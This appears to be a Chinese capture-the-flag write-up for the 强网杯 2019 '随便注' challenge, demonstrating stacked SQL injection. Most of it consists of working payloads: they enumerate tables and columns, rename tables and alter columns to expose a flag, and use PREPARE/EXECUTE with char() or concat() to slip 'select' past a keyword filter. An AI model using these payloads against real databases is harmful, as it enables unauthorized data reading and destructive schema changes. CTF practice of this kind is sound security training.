[强网杯 2019]随便注1
-
打开后的样子
-
法一:重命名+堆叠注入:可以执行任意sql语句
-
堆叠注入原理:在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。
-
但是堆叠注入大多时候不可用
-
利用 or 1=1–+列举所以数据**?inject=1’or 1=1;–+**
-
查看一下表**?inject=1’;show tables;–+**
-
有两个表,分别查看一下
-
?inject=1’;show columns from `1919810931114514`;–+
-
?inject=1’;show columns from `words`;–+
-
3. ?inject=1';select \* from \`1919810931114514\`;--+被过滤了。
-
alert和rename没过滤,所以可以把表列改名
/?inject=1'; **RENAME** TABLE \`words\` TO \`words1\`; **RENAME** TABLE
\`1919810931114514\` TO \`words\`; **ALTER** TABLE \`words\` CHANGE
\`flag\` \`id\` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci
NOT NULL; **show** columns from words;%23
?inject=1' or '1'='1?inject=1' or '1'='1
- 法二:预处理语句+堆叠注入:
-
char(115,101,108,101,99,116)<----->'select’
PREPARE name from ‘[my sql sequece]’; //预定义SQL语句 EXECUTE name;
//执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL
语句-
payload1: 1’;PREPARE hacker from concat(char(115,101,108,101,99,116),
’ * from `1919810931114514` ');EXECUTE hacker;# -
payload2: 1’;SET @sqli=concat(char(115,101,108,101,99,116),’* from
`1919810931114514`’);PREPARE hacker from @sqli;EXECUTE hacker;#
【使用变量】 -
payload3: 1’;PREPARE hacker from concat(‘s’,‘elect’, ’ * from
`1919810931114514` ');EXECUTE hacker;#
【只是用contact(),不使用char()】
-
-
引用参考: